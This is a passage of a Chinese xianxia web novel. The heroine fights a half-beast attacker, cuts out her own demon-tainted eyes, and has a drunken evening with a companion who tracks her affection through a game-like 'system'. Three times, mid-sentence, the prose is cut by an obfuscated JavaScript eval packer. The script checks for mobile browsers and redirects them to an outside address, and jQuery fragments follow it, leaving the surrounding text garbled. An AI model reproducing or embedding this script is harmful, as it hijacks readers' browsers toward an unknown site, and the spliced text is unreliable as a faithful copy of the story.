她惊疑地看着窗外——这是什么鬼东西,妖,魔? 狼一样的爪子,豹一样的耳朵,瞳孔又有点类蛇,四不像嘛。 等等,不会是昨天那群妖的同党,想趁着县令府没人的空挡,来个瓮中捉鳖吧? 如果是这样,它们可打错算盘了,如今萧唤月的玄铁剑就在手边,通讯符也在兜里。就算她虚弱了点,好歹也是个金丹二重的修士了,未必没有一战之力。 窗外那双竖瞳紧紧盯着她,似乎对于自己没有一击得手这件事颇感懊恼。 “跟我走。”他居然说话了,声线低得吓人,就像动物进攻前从喉咙里发出来的那种声音。 “妖怪大哥,怎么贼心不死呢?” “我不是妖怪。”他反驳了,但他这副模样很没有说服力。 说话的工夫,萧唤月已经偷偷用通讯符联系上了言隐,他听到这边的动静,自然会明白发生了什么。 那四不像的妖怪对萧唤月再次发起进攻,她提剑去挡,手肘一抬,打碎了一只花瓶。 室内狭窄的环境不方便动作,于是她干脆跳出窗去。对方赤手空拳地跟她搏斗,竟也不见得落了下风,十几回合过去,谁也没讨着好。 那妖怪的斗篷在打斗中被扯落,露出伤痕累累的手臂。他立刻矮身一滚,将斗篷重新裹在身上,神色复杂地看着萧唤月,似乎有了退意。 他能感受到,她又进步了,比起上次见面要强得多。假以时日,她会不会超越他?那种情况一直是他在极力避免的,结果还是走到了这一步,老天总是对他这样差,倒霉的事情都让他碰上,幸运却不曾眷顾。 但他很快又给自己找到了借口,这副身子千疮百孔,状态不佳,一时不能压过萧唤月,也是正常的。 与此同时,萧唤月也在观察他。这个人给她的感觉很熟悉,那种熟悉感来得莫名其妙,令她心悸。 “为什么不肯跟我走?”他尝试做最后的努力。 萧唤月莫名道:“奇怪,你为什么觉得我会想跟你走,当我活腻了吗。” “我又不会杀掉你。” 说话的时候,他的嗓子一阵一阵的疼,这副身体问题太多,连进食都很困难,他很久没有好好吃过东西了。 以前在萧唤月面前,他会刻意变换声线,现在倒不用了,嗓子已经毁了,发出的声音连他自己听了都觉得陌生。 他与曾经的自己变得越来越不像了,如果里云宫那群人还想追杀他,照着他几年前的外貌声音来寻踪问迹,那可能永远都找不到他人。 倒也是个好处。 现在他正纠结——要离开县令府么?另外再找时机来带走萧唤月? 可他总是在找时机,每一次都让萧唤月逃掉了,她身边似乎总围着各种各样的人,好不容易等到落单......她却已经成长到如此地步。 刚挨过一场雷劫,还能与他打得不相上下,萧唤月俨然已不是他能轻易拿捏的角色了。 将来该拿她怎么办呢? 忽然怀念起当年那个好糊弄的深闺少女,那时候,他说什么她信什么。 恍然抽离的思绪,让他有了破绽。萧唤月抓住机会持剑攻上,刺向他左肩,然而那处的皮肤上覆盖着一层穿山甲的鳞片。 因吞噬妖丹过多而呈现出的半兽类特征竟让他多了一道防御,帮助他抵御住了这突如其来的攻势。 萧唤月:“......”这剑好像有点钝了吧,这都刺不穿! 然而下一刻,一股刚猛的力道施加在她的剑身之上,如同推手一般带动她的剑,循着原来的剑路砍了下去。 男人左肩上的穿山甲鳞片承受不住这加在一起的两股巨力,开始出现裂纹。萧唤月将内力悉数聚于剑柄之上,一鼓作气砍了下去。 男人的衣袍上见了血,浓厚的血腥味晕染开来,他脸上浮现出痛苦和难以置信的神色。 但他还没有就此傻掉,脑中迅速判断着局势——刚才那股施加在萧唤月剑身上的力是从后方打过来的,很可能是言隐。隔着那么远的距离,攻击依然能奏效,是个强手。 显然,言隐本人也即将赶到,可能在下一个眨眼的瞬间,他就会鬼魅般出现在萧唤月身边。 这里留不得了。 像壁虎断尾逃生那样,男人果断抽身,以失去一只左臂为代价,迅速后撤,佯装要往后跑,实则悄悄捏诀,一个土遁,猛地扎入地里,逃之夭夭了。 言隐迟一步赶到,手里牵着根绳子,后边儿绑着一串妖怪,个个被打得鼻青脸肿,被言隐的速度带得几乎是在地上拖行了。 路承蕊和昭意则走在最后,多视角监看妖怪,避免它们挣脱逃离。 三人合作,果然效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14711696|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 率很高,这群小妖没能逃出多远就被逮了。 也得益于小妖们完全不知道“义气”两个字怎么写,一旦被抓到,就是涕泪横流低头示弱,通过交代同伙行踪来换取自己一线生机,结果就是一个没漏,全被言隐给绑回来了。 “刚才你砍的那人谁啊?”言隐好奇道。 “不认识,来抓我的,看起来有点像妖,但好像又不是妖,总觉得有点眼熟呢。” 言隐若有所思:“我感觉应该不是妖,远远地感知到他身上的气息,很杂很乱,不像纯粹的妖气。” “那能是谁呢......我刚下山没多长时间,应该还没机会得罪什么人吧?” “说起来,他刚才是不是用了土遁?” 萧唤月一愣:“对。” “那种逃跑方式,让我想起了一个人。” 两人对视一眼,没说名字,但萧唤月知道言隐在说谁,因为她也想起来了,曾经的确有个人在她面前用过这种法术,差点把她一并带进土里。 是言隐把她从地里拔出来的......那时候他们都还在萧府,是好几年前的事情了。 “搞不清楚他的动机。”萧唤月摆摆手,“不过他现在威胁不是很大,似乎变弱了。” “也许是你变强了。” “下次如果他再来,一定抓住好好审一审。” 一旁的路承蕊和昭意听得云里雾里,萧唤月对他们解释过缘由后,两人依然一脸疑惑,尤其昭意:“......你是说,刚才袭击你的那个人,可能曾经伪装成里云宫的修士,跟你一起生活过?” 师兄师姐都知道她的身世,因此她也没有藏着掖着,耸了耸肩:“不算一起生活,那人只是偶尔露面而已,神神秘秘的。” 路承蕊肃然:“可不能置之不理,感觉是个危险份子呢。” 昭意:“小蕊说得对。” “算了......这事等回宗门再说,我对里云宫的了解太少。” 要不是突然来这么一茬,她以为这辈子再不会见到东生了,可惜现在有任务在身,不便深究,待回山之后,私下找长老问问当年事件的始末细节吧,事情总是要解决的,一直逃避不是办法。 “不过,先管管这群妖怪吧?它们看起来更需要处理哦。”萧唤月探头。 她挥手同后面的小妖打招呼,“你好啊狐狸,又见面了。” “小姑娘,做人不能恩将仇报吧......”狐狸脸上堆起讨好的笑,“我可是留了你一命,你也放过我一次,当扯平了,好不好?” “我还是喜欢你当初桀骜不驯的样子。”萧唤月微笑,“能再表演一下那个吗,就是那个......‘落在我们手里,你连全尸都不会有’,那句话好有气势啊。” “......”拜托不要这么记仇。 “看你样子,好像忘记了什么,容我提醒,”萧唤月神色认真了一点,凑过去道,“你们在我眼睛里放了脏东西啊。” 其实她是想知道这双眼睛还有没有得救,略一挑眉,试探性地看向狐狸。 默了片刻,狐狸劝慰道:“那只蜘蛛,我没办法取出来,但你也没受什么影响不是吗,不要这样斤斤计较。” 言隐亮出剑:“那你没用了哈。” “不不,别杀我。”狐狸立马改口,“我有办法!” “有办法就快说。” “把眼睛摘掉......” “这我们能不知道?我们是想问,怎么才能把那妖精剥离出来,不伤本体。”言隐用看智障的眼神看它。 “那没有法子了。” 狐狸冷汗直流,它想的是,既然自己已经给出了解决办法,再不济也能从修士们手中保下一条性命,大不了被打回原形重新修炼。这些人总是道貌岸然,自诩正义,包庇弱小,偏偏是这一点,可堪利用。 “我没杀过凤泉镇一个人。”它为自己辩驳,“还请留我一命,日后定会改过,只做善行。” 然而言隐根本没听它的话,正跟萧唤月议论:“这就叫没有金刚钻硬揽瓷器活。” 萧唤月点头:“可不是嘛。” “没有要问的了?”路承蕊做最后的确认。 言隐:“没了。” “那我动手了,小妖们,脖子放松,脑袋往前伸,我争取一剑毙命。”路承蕊想,自己终究是心太软,之前嚷嚷着要扒了它们的皮,如今还是决定给个痛快。 狐狸面色惨白,死死盯着萧唤月。 蜘蛛也在那双灰蒙蒙的眼睛里注视着昔日的伙伴们。 狐狸心想:早知如此它就亲自上了,躲在萧唤月眼睛里总能苟住这条命。 第一次对修士做这种事,本想让蜘蛛打样,免得出现什么不稳定因素将自己搭进去,没想到聪明反被聪明误,蜘蛛安然无恙,而它很快就要死了。 一直以来狐狸只把身边这群低智的小妖当成工具和垫脚石,死到临头,它的心态竟然出现了一点微妙的变化。 蜘蛛成了希望的火种,它不得不为蜘蛛祈祷——努努力啊,夺舍这个女人,吸干她的生命力,用她的手,杀掉她身边的朋友,师父,家人。 为它们报仇! 然而萧唤月把它最后的念想击了个粉碎。 只见她手里捧着两颗光球状的东西,踉跄后退了两步,面容因疼痛而微微扭曲。 她挖出了自己的眼睛! 40. 第 40 章 “萧唤月!”言隐慌乱地按住她的手,“你干什么。” “我也不想,可是没有别的办法了嘛。”她疼得倒吸气,“而且这东西肯定是有害无益的,放任它继续停留在我身体里,不知道还会出现什么变故,早舍早安心。” 三番两次给自己做心理建设,还是下不了手,所以萧唤月决定趁自己脑子没反应过来,直接把眼睛挖出来,也是一种自欺欺人的表现了。 萧唤月安慰自己——没关系,很多大佬都有不同程度的身体上的残缺,不说别的,就说她们宗门的归虚长老露叶连,小道传闻称,她早年间毁了容还瞎掉一只眼睛,这般痼疾,不也没影响人家当长老么? 想来那种境界,大概已经视皮囊如无物了。 “没事......我缓缓就好了。”萧唤月咬牙。 但她看起来可不像没事的样子,双目紧闭,两行血泪缓缓流下,略显惊悚。 言隐手忙脚乱:“止血,止血!” “已经施法止住了。”她擦掉面上的血迹,“伤口正在愈合......不过眼睛没法重新长出来。” 她紧紧攥着手中的东西,那是她曾经的眼睛,料想应该是血迹斑斑,十分骇人。她见过死鱼的眼睛,应该就是那样吧?浑浊不堪的黑与白。 但她没看见,那双眼睛正散发着淡淡的光辉,由于混进了妖丹妖魂,已经不是普通的血肉组织,被剥离眼眶后呈现出透明的光泽,里面封着一只缩小版的白色蜘蛛,一动不动,似乎已经死去了。 “师兄师姐,言隐,你们别当我是累赘啊,听说瞎子的嗅觉和听力会格外灵敏,所以我可以在其他领域继续发光发热的,以后,我......” “说什么呢。”言隐不赞同道,“谁当你是累赘了。” 眼前一片黑暗,看不到任何东西,想到今后都要在这样的世界里生活,萧唤月不禁有点难过,很多好景色还没有看过呢。 “师妹,我这里有很多视物符,都送给你。”路承蕊大大咧咧往她怀里塞了一堆。 昭意慌忙翻找袖袋:“我这儿也有。” 贴上视物符并不是真的能视物,而是可以感知到周围物体的移动,类似红外线探测原理。对于视力不好的人来说,那是战斗中必不可少的好物。 萧唤月没有推拒,道了声谢。 言隐紧紧贴在她身边,怕她摔倒似的,双手虚虚环绕着她,像在看顾一位站立不稳的病人。 视线一低,他看到萧唤月指间透出光亮,疑惑道:“你手里的眼睛在发光诶。” 萧唤月一怔,微微松开手:“发光?” 迟疑了一下,她终究还是将手心打开:“你帮我看看。” 言隐凑近观察:“唔,像球状的树脂标本,很漂亮。里面还有一只长得很标准的白色蜘蛛,小小的,大概是妖物残留的魂魄所聚。” 萧唤月点了点头,心里开始犯难:该怎么处理这东西呢?毕竟是自己的眼睛,随手扔掉的话太可惜了,而且里面还有妖魂,直接丢掉的话会有隐患吧,可留着也没什么用,只能做个纪念品。 要不......她脑中灵光一闪,忽然想到,这东西或许可以作为炼器的原材料? 思虑间,言隐替她做了决定:“要不先把眼睛放储物戒里?” 她想了想,依言照做:“行。”等之后确认了炼器的可行性,再把这东西寄回宗门。 言隐好哥们儿似的揽住她肩膀:“其实你刚才还挺帅的......” “嗯?” 此时满身泥巴的许县令领着衣摆匆匆赶来,人未到声先至:“仙长,各位仙长,剑下留情!” 言隐目光不善:“难道你是来劝我们别杀妖?” “正是,正是。” “不除了它们后患无穷,你还想让镇上多几个瞎子吗。” “不不。”县令擦着汗,边喘气边解释,“钦天监那边差人传话来了,意思是把这群妖怪移交给他们处置。” “凭什么。” “这里有封信,是送来给仙长们过目的。”县令把信递过去,“多的我也不知道了,都是依命办事。” 言隐自告奋勇:“我来拆。” 用法力破开封口的禁制,他取出信纸,一目十行地读了一遍。 县令已经很有眼力见地离开了,既然这信不是给他看的,那他还是别待在这里旁听了,免得知道什么不该知道的。 萧唤月拉拉言隐的袖子:“写的什么呀?” “说最近各地妖魔乱象频发......钦天监怀疑它们是在进行预谋的行动,眼下正在调查当中。” “所以接手这批妖怪,是要拷打它们?” “大概吧。”言隐把信纸塞回去,“对了,这信是花梁燕写的,她的手段我很放心。” 这群妖怪被押送到钦天监后可有罪遭了,说不定连死亡都是一种奢求。 昭意:“还有写别的吗?” 言隐把信扔过去:“你自己看。” 昭意展开信纸,仔仔细细读了一遍,眉头蹙起:“啊。” 言隐:“啊什么。” “花监正她,还提到了驭鬼人的事。” “我怎么没看见。” “刚才你纸没展开。” “......” “驭鬼人......”萧唤月在记忆中搜寻着这个词语,“是几年前十燕城发生的那件事?” “不错。”昭意担忧道,“监正原以为那些驭鬼人是受鲁王指使才潜入十燕城,欲加害郯国皇帝,然而最近她得到消息,鲁王似乎被妖物所控制。” 萧唤月思忖:“如果是这样,那真正的幕后黑手,是妖族。” “看起来,妖族似乎要搞什么大事,并且早就有苗头了。” “即便这样,它们也成不了气候吧。”言隐倒很乐观,“那边在搞什么驭鬼人,这边在搞夺舍。看起来是缺乏部署啊,妖心不齐,一盘散沙。” 昭意:“是的,现在事情还在可控范围内,不必担心。具体情况,等我们与监正会面后再谈不迟。” 萧唤月:“她要来凤泉镇吗。” “不,她在新萩等我们。” 新萩位于鲁国和郯国的交界处,正是丘山四人此行的任务地点之一,也是他们之后会去往的地方。 萧唤月:“但新萩离苦心谷很近,按照行路顺序,我们要过好一段时间后才能到达那里。” “无妨,她近几年都会待在新萩。” * 凤泉镇这边的事情结束了,但妖怪给人们留下的损伤却是不可逆的。 到头来,挖眼睛还真是唯一的办法。 不是人人都下得了这个狠手,能自己把自己的眼睛给挖出来。 于是这项工作只好由路承蕊和昭意代劳。 他俩支起小棚,摆起桌椅,一个负责取眼睛,一个负责在旁边止血疗伤,事毕还附赠拐杖和遮眼的绫布,一步到位。 萧唤月也待在现场,作为挖眼第一人,她起到了某种示范作用,鼓励前来的每一个镇民: “没事,不痛!放轻松别紧张,担心瞎掉之后看不了字的话,就让家人朋友读给你听嘛。” 这样的话不知重复了多少次,直到一个短发少年前来,躬身进了棚内,没有大嚷大叫痛哭流涕,坐下来之后就带着一副认命的神色,想来是已经做好了心理建设。 萧唤月在这安静得过了头的氛围中感到有些奇怪,但还是机械性地重复自己先前的话:“没事,不痛......” “怎么会不痛。”少年叹气,“我本来想自己动手的,但我做不到,看来还是你更勇敢点。” 猝不及防被夸赞了的萧唤月:“......你也很勇敢了,听声音,你年纪不大吧?爹娘没有陪着来么。” “没有,我自己来的。” 坐在萧唤月身边摸鱼的言隐突然抬起头:“小孩儿,我们好像见过面?” 少年硬邦邦道:“当然见过,你绑架过我,忘记了吗。” “啊......”萧唤月反应过来,“原来是你。” “是我。” 因为少年很配合,这次的“手术”格外顺利,路承蕊甚至还有闲心感慨一句:“你的眼睛很漂亮哦,里面是一只小鸟。” “谢谢。” 萧唤月恍惚间又想起自己之前的设想:“对了师姐,我想问,这样沾过妖气的眼睛......可不可以作为炼器的原材料啊?” “可以的吧,不过要拿到锻器阁做加工,最好别自己搞。” 少年没太听懂她们的对话,但隐约明白这个东西似乎对萧唤月有用。 “姐姐,作为那天糖葫芦的回礼。”他杵着拐杖摸索到萧唤月身边,放下自己玻璃珠一样剔透的眼睛,“送你了。” 萧唤月怔然:“糖葫芦怎么能跟这比,你还是收回去......” “说送你就是送你了,我不要。”少年态度坚决,顺便提醒了她一句,“其它镇民的眼睛你也可以试着去讨要一下,刚才我在外面听到他们说不知该怎么处理这东西,因为嫌眼珠里边儿有妖怪晦气呢。” 撂下这话,少年就转身离开了,拐杖哒哒哒的,还因走得太快被绊了一跤。 临近黄昏,路承蕊揉着胳膊舒了口气:“终于结束了。” 萧唤月唤来仙鹤,将今天所收获的装着妖魂的”玻璃珠子”装在一个袋里,请仙鹤将其带回丘山,再附书信一封灵石一袋,请锻器阁帮忙炼制。 想了想,她又单独附了封信给宗主,将东生的事进行了简要说明,想问问宗主对此人是否有印象。 如今看来,东生就是当初那个把她拐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14711697|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到十燕城的人,但时隔已久她回忆不起更多细节,说不定玉胥宗的长老们知晓一二内情。 这信由言隐代笔,郑重其事地装好,塞进了仙鹤腿上绑着的竹筒里。 昭意在旁边收拾东西:“大家辛苦了,不在镇中休息一天,后日再上路吧。” 萧唤月也是这个意思。 她现在很累,身累心更累,需要休息下来,缓一缓。 言隐想扶她回去,被她有理有据地拒绝了:“我迟早要适应盲人生活的,第一步,学会在黑暗中行路。” 路承蕊和昭意无声地对视一眼:小师妹不是在故作坚强吧? 可到底是没有出言反驳——他们决定顺着萧唤月的意思来。 “师兄师姐,要不你们再逛逛吧?镇上的夜市要开张了,听说有几样特色小吃很不错,离开这里之后可没机会再吃到了。” “你想吃点什么吗?我和昭意给你带回去。”路承蕊轻声道。 “不用,你们随便买就行,吃不完还可以留着在路上当干粮。”萧唤月给自己戴上遮眼的白绫,“那就这样,我先回去啦。” 夜色渐深,萧唤月拄着拐杖独自走在回府的路上,怎么说也是修仙之人,即便瞎了,对周围环境的感知力也要强出普通盲人许多,总能准确避开障碍物。 但她对时间的判断不再准确了,现在甚至不能确定天有没有黑,有些惆怅地想着:以前怎么没有多看看晚霞呢?那些随处可见的美景,从前她不屑一顾,现在倒念起它们的好来了。 察觉到似乎有人挡在了自己面前,萧唤月谨慎地停住脚步。 “您好?”她仰起头,“麻烦让一下路。” 面前是个眼神迷离的醉汉,手里拿着一壶酒,步伐左摇右摆,打了个酒嗝:“这是谁家小娘子,这么晚了,还一个人出门,你家大人呢?” 白绫遮住了萧唤月大半张脸,只露出小巧的下颌,弧线内收,看起来意外地显幼。 瞧轮廓像是个美人......醉汉观察着,越凑越近。 “眼睛怎么......嗝......不露出来。”醉汉有些意动,抬手就要去扯她的白绫,被萧唤月一手拍开。 “脾气不怎么好啊。”醉汉咧着嘴笑。 在酒意的加持下,他对疼痛的感知降低了。手背明明已经被萧唤月那一巴掌拍得红肿起来,可他只感觉到一阵酥麻的痒,像是被小猫抓了一下。 心里也痒痒的,想要揭下她白绫的念头越发强烈。 “滚开。”她现在心情可不好,说话也不再客气了。 “这地儿看不清楚,太暗,也太冷。”醉汉并没有离开,反而朝前又走了一步,流露出明显心动的眼神,“要不跟我回家去,点上灯......” 萧唤月一拐杖狠狠戳他腰子上,醉汉总算感觉到疼痛,怪叫一声,捂着腰退了几步,眼中浮现出怒意。 “你——” 醉汉试图抓住萧唤月,然而动作太迟缓,后者已经面无表情地绕过他,走出了一段距离,即便他竭尽所能绷直手指,也没能碰到她的发丝分毫。 醉汉不死心,还要再追,然而一股劲风夹杂着凛冽的寒意扑到他的面门上,紧随而来的是一只骨络分明的手,在距离他只有0.01公分的时候攥成了拳头。 还没反应过来的时候他已经挨下了这一拳,两颗牙齿夹杂着血水在空中抛出一道平滑的弧线。 萧唤月听到动静回头:“嗯?” 言隐紧张地屏住呼吸,没有发出任何声音,缓缓伸出脚,像踢垃圾那样把醉汉的身体往路边推了推。 “是言隐吗。” “......你怎么知道?” “一直感觉有人跟踪我。”她笑了笑,“我就猜是你,没想到一试探,还真是。你刚才要是不出声,我反而不确定啦。” “我也回府,同路而已。” “好。” “这里其实没那么黑,路边有挂灯笼。” “是吗。” “出了巷口,再往前就更热闹了。” “有很多人吗。” 言隐眺目:“人倒不是很多,但有几个摆摊的,还有一个二层式的酒楼。” “喔。” 两人边走边说话,言隐同她分析:“我觉得,刚才那男的,肯定就是从那酒楼里喝完出来的,二两酒下肚不知道自己姓什么了,欠教育。” 越发觉得刚才那一拳揍得太轻,言隐还想要回去再补两脚,忽然被萧唤月一把攥住了手腕:“我酒量虽然不好,但酒品应该不错。” “......所以?” “要喝一杯吗。” “不要了吧,你一杯倒,跟你拼酒有什么意思。” 萧唤月往前走:“不去吗,那我自己去,你先回。” “......” 41. 第 41 章 事情不知为何演变成这样,两人在二楼雅阁内相对而坐,面前摆了一桌好酒好菜。 言隐捏着酒杯,面带探究地看向萧唤月:“你喝了多少杯了?” “不知道。” “比我想象中酒量好嘛,上次在你家不是一杯倒么。” “可能,修为升上去之后,酒量也提高了吧。”她再次一饮而尽。 “下雨了。”她看向窗外,但实际上她并不能看到任何东西,只是听见了淅沥的雨声。 “是啊。” “雨停了再走吧。” “好。” 感觉萧唤月似乎在借酒消愁,但言隐并没拦着,有时候人的确需要释放一下,喝酒应该算是比较温和的一种方式了? 可萧唤月一杯接一杯下肚,期间几乎没有停顿,言隐在她对面把玩着酒杯,过了许久,终于忍不住过去捞起她手腕:“别喝了,歇会儿?” “不歇。” “给你弄点醒酒茶。” “不要。”萧唤月猛猛摇头,“你别动,坐在那里,坐那儿就行。” “为什么?” “不为什么。” “你醉了。” “没有。” 言隐张开五指在她面前晃了一下:“这是几?” “五。” “......”怎么喝醉了还能识数,电视剧里不是这样演的。 “我猜的。”萧唤月呵呵笑,“你忘了我看不见么。” “......对不起。” 言隐觉得自己脑子刚才好像让狗给叼走了。 想好萧唤月并没有质疑他是在故意找茬,只是边喝酒边感叹:“可惜,太可惜了。” “可惜什么?” “有一些好看的东西,以后可能看不到了。” 萧唤月扶着桌沿缓缓走到言隐身边,手指下移,轻划过他的额头,鬓角,下巴。 言隐面露疑惑,但是并没有躲开,任她动作。 “这个,也看不到了。”她连连叹气。 “我的脸?” “是啊,我以前没有跟你说过吧,一直以来,都觉得你长得漂亮,这张脸,我很喜欢的。” “......完全没看出来你有过这种想法呢。” “真的。”她甚至上手揉了揉,登徒子似的,还夸赞了句手感不错。 “我以为你喝醉了就只会睡觉而已。”他的脸颊被揉得变形,含糊不清道,“原来还会有真心话环节?” “我们认识多少年了。” “不到五年吧。”言隐掰着手指算,“时间很短。” “所以这张脸我才看了不到五年,我就瞎掉了!”萧唤月哀嚎,“师兄师姐也长得很好看,但是......再也看不到了!” “你觉得昭意好看?” “那是自然。” “跟我比呢?” “各有千秋。” 萧唤月刚才夸他好看的时候,言隐并没有什么情绪波动,这不就是在陈述事实而已? 但她现在竟然又开始夸赞昭意,他不禁怀疑起她的眼光。 喝醉了的萧唤月思维跳脱,此时已经从言隐的脸上移开注意力,严肃道: “你知道吗,听说有种草药,吃了能让人失而复明。但那种东西可遇不可求,运气好的话,也许几十年以后我眼睛又能涨回来了?” 虽然变成瞎子之后她心情不是很好,但她总归不是一个悲观的人。 “我觉得用不着那么久。” 其实言隐的系统商城里,现在就放着一样派得上用场的宝贝——能活死人肉白骨的灵芝。 他之前已经换过一次,但系统没说不能重复兑换,默认无限库存。只是他现在积分不够,商品栏一水的灰色。 “萧唤月现在对我好感度多少?”他在心里询问系统。 系统:【检测到攻略对象现好感度数值:56】 “偷摸涨了怎么不告诉我。” 系统对于他的质问充耳不闻,只提醒道:【好感度数值达到60,可开启下一阶段积分奖励,望宿主再接再厉。】 萧唤月正在表示疑问:“用不着那么久是什么意思?” “字面意思。我有个东西,能帮你治好眼睛,不用几十年。” 萧唤月陡然振奋:“什么东西?” “一种灵芝,但现在暂时没法拿到手。” 在酒精的作用下,两人之间的交流似乎变得坦诚很多。 大概是直觉作祟,他的话一说出口,萧唤月就已经信了□□成。反正他总有这样那样的秘密,但他的确很少骗人,更不会在这种事情上撒谎。 想了一圈,萧唤月猜测道:“是因为它还没有成熟吗?” “不,是要用别的条件来交换。” “灵石?修为?” “用不着那些,只需要你爱我。”言隐特意补充,“不用特别爱,再多爱一点点就行。” 这话其实有迹可循——老早之前,萧唤月就知道,言隐能通过提升她的好感来获取某种好处。 灵芝是好处之一么? 她认真询问:“那怎么才能更爱你。” 言隐一哽:“这你问我?” “你是当事人,当然问你。” “听说亲密接触能增加好感度。” “要多亲密?” “我也不知道。”言隐扭过头去,抿了口酒,“看你。” “这样?”萧唤月俯身抱住他,两颗脑袋紧紧挨在一起,蹭了蹭。 言隐闻到她身上清列的酒气,混杂着温暖的衣料熏香。 “这样够亲密吗,”萧唤月维持住这个姿势,“但我心如止水啊,怎么回事。” “我也心如止水,看来是不够亲密。” “那只好这样......”她手指摸索着往下探,鼻尖,嘴唇......最后挑起他的下巴。“我准备亲你了,有意见吗?” 话题跨越度有点大,场面突然变得不可描述起来。 萧唤月没吃过猪肉但见过猪跑,在穿越到这个世界之前,吻戏可没少看。对于这种事情,她接受度还挺高的,只是苦于在现代世界遇到的都是烂桃花,没有实践的机会。还没走向社会奔赴花花世界,又穿越到这个鬼地方。 言隐......硬件条件很好,亲一口,不亏。 她又重复了一遍:“有意见吗?” “......没有。” 鬼使神差的,言隐给出了这样的回答。 “你脸好烫。” “错觉。”言隐镇定道,“我是鬼,脸不会发烫。” “哦。” “你不是要亲?” “对,对。”她的气息越来越近,“差点忘了......” 言隐有点紧张,但不知道自己在紧张什么,亲一口没什么大不了,如果好感度能增长,那就是好事。 已经做好了充足的心理准备,但他没料到萧唤月雷声大雨点小,蜻蜓点水似的,轻轻擦过他的唇角。 “结束了?”他问,“这就结束了?” “对啊。” “你好像亲错位置了。” “是么,我看不见,凭感觉啦。” “再试一次,刚才算试水。” “不要了吧,好像没什么效果,而且我有点困。”她打了个哈欠,“改天再亲,回去睡觉了......” 她起身正要拉开距离,腰侧却被言隐的手固定住。 “做事怎么能中途而废?”他很严肃地谴责她,“再来。” “好吧,那再试一次,你别动哦。” 她低下头去,这次亲在了他的眼睫上。 “都说了别动了......”她有点恼。 “......我没动。”算了,跟醉鬼没有道理可讲,言隐决定自力更生。“我来。” “最后一次了,亲完回去睡觉,好不好?”她同他商量。 “好,亲完就回家。” 萧唤月很不客气地坐在他椅子上,但位置不够用,好几次都差点滑落下去,为了能舒服点,她干脆直接坐在他腿上,脚尖晃晃悠悠,双手绕过他的脖颈。 这个角度,她的脑袋比他还要高些,言隐需要仰视她。 “我来了?” “快点。”萧唤月催他。 有种酒后乱性的既视感,言隐目光上下一扫,喉结滚了滚,忽然意识到这姿势过于暧昧。但萧唤月不动如山,表情正经得像是在探讨什么严肃的学术性问题。 他仰头,在她额角印下一个吻。 “搞什么。”萧唤月一愣,“额头和嘴巴隔很远的,你居然这都能亲偏。” 言隐猛地站起来,萧唤月身子一歪,差点儿摔到地上。 “亲哪里不是亲,我......这不算亲偏。” “好吧,就这样。”萧唤月问,“‘亲密接触’已经完成了,我有爱上你吗?” 系统:【检测到攻略对象好感值波动,现好感度数值:57】 “没有。”言隐绷着脸,涨了一点而已,怎么能算是爱上,这种程度的数值增长,只能说聊胜于无。 “那之后再想想别的办法好了。”萧唤月表示遗憾。 结完账,二人互相搀扶着往外走,准确来说是萧唤月靠在言隐身上,利用他保持平衡。 她的步伐歪歪扭扭,本来眼睛就看不见,现在还喝了这么多酒,走直线都困难。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14717319|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 最后是言隐背着她走回县令府的。 “虽然你酒量变好了,但也没有太好。”言隐把她往上托了托,抱怨道,“以后我可不陪你喝酒了。” “为什么不陪我。” 其实只是随口一说,没想到萧唤月会追问。 他思考了一会儿,想出一个理由:“因为喝完酒你会失去行动能力,我得负责送你回家。” “我自己也可以回,不信你放我下来。” 说着她就要从他背上挣脱。 “行行,我信。”言隐把她的腿更紧地扣在腰侧,免得她掉下去,“别乱动啦。” “可是你说不陪我。” “我瞎说的。” “切。” 终于抵达县令府,言隐将她塞进被窝里,松了口气。 回到自己房间,他却睡不着了,说不想陪萧唤月喝酒是假的,如果喝一次就能涨一点好感度,他可是很愿意的,积少成多嘛。 到了后半夜,一道纤细的身影拨开房门挤进来,一头栽倒在柔软的被褥里。 沉默良久,言隐往里挪了挪,支起身子,戳了戳被子里那个拱形团子,几乎是从牙缝里挤出一句: “......萧唤月!” 她不耐烦地应了一声,嘟囔着说别吵。 低头时,言隐闻到了温热的皂荚香,混杂着淡淡的艾草苦味。他猜测她刚才或许是去沐浴了,回来时走错房间,才跑到他这里来。 人都不清醒了,倒还记得要洗澡。 他手伸进去,试了试她额头的温度,没有生病,应该只是酒还没醒。 他不客气地把她提溜出被窝,晃了晃肩膀:“回你自己房间睡!” 萧唤月眼睛睁开一条缝,想看看是谁在说话。可她忘记了自己现在是盲人,眼睛睁得再大,也只能看到一片虚无。 她判断,自己是在做梦。 “得,你是我祖宗。”见萧唤月不理会自己,言隐跳下床,将她裹着被子横抱起来,一脚踢开房门,“躺好了,我送你回去。” 